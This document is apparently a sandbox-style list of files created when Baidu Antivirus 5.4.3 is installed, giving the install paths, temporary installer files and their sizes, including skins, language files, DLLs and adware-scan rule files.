%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\tipsBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\lockClosed.png (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Baidu Antivirus\Uninstall.lnk (727 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1207.hdshop.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin.xml (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSs.dll (137 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavPluginRemove\skin.xml (34 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\bg\bg_scan_menu.bmp (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_openbav.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\closeBtn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1181.Highlightly.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1117.RewardsArcade.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\logogreen.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Pulgin_Dark_DeleteFileTip.dll (277 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\oovoo.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\pop_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlike_select.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_keep.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\circle.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_safe_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin.xml (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1167.KingTranslate.rul (63 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_text.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin.xml (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_popuphover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_detected.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\menu_item_background.bmp (86 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\context\context.ini (418 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_disable.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_safe_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1126.Hao123SearchRemovalTool.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_down.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlikeGray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavOpenUnknownFile\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1151.NinjaSavings.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport.exe (5441 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_icon_new.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\uTorrentBar.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_suessfully.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_cer.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\realtimeTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\main.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sgf.dat (419 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_malware.png (61 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\lineH.png (995 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_botline.png (151 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\doing.png (768 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavuhp.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\progress\loading_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\progress\loading.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\rss_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\WhiteSmokeToolBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1134.ooVoo.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_notify.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin\main-feedback_tittle.png (71 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\language.ini (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_safe_s.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\long_blue_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\popbg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Antivirus\Plugin_Antivirus.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install2Slice_27.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\menu\menu_icon_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSu.dll (1789 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_off_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BETManger.dll (3702 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\bugreportconfig.ini (295 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\progressbarBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout3_bg.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Feedback.exe (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\top_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_LogStatus\res\skin.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\arrowdown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx.dll (255 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\auto_bg_red.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAHHandler.dll (1656 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin3082.txt (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bg.png (189 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm64.dll (1798 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\progressbar.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUpdater\skin\pu_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout3_bg.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_threat_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_modifyhost.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\MoboMarket_Setup_Mini_BAV_SDK.exe (6380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\unloadInvestigateTitle_cry.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1236.uTorrentControl_v2.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (37 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf_Total.ini (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1244.systweak.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\StartNow.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1064.Webblog.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1145.FreeSoundRecorder.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_over.png (316 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1051.SavingsApp.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1046.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\VidSaver.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\System.dll (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1237.uTorrentControl.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\arrowup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportCommRetry.exe (1792 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\unloadInvestigateTitle_cry.png (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_threat.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx64.dll (310 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\language.ini (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsNetFlt.dll (3890 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sw.dat (91 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall1.png (69 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\unloadInvestigateTitle_cry.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_danger.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1063.SnapDo.rul (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1189.JollyWallet.rul (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_submenu_bg.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_scan_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_feedback.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\main-feedback_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout2_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCommon.dll (1674 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1247.cleaner.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\browserext\baidu-antivirus-anti-phishing-plugin.xpi (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_unsel_nor.png (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstallUtility.log (5002 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1238.crawler.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DirectUI.dll (15021 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLib.dll (180 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Unprocessed-threats-detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_advanced_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin.xml (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnForum.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin\SUBMIT_bg2.png (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip_red.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\RemovedTips.bskin (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_defense_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_dl_animate.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sl.dat (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout4_bg.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg1.png (194 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1133.Mp3TubeToolbar.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1113.SpyGuard.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_protect_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\npbdplugin.dll (1752 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin.xml (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1105.FreeYoutubeDownload.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\GuideSlice_6.png (92 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavScan.dll (275 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1179.FilesFrogUpdateChecker.rul (765 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_failed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSk.dll (95 bytes)
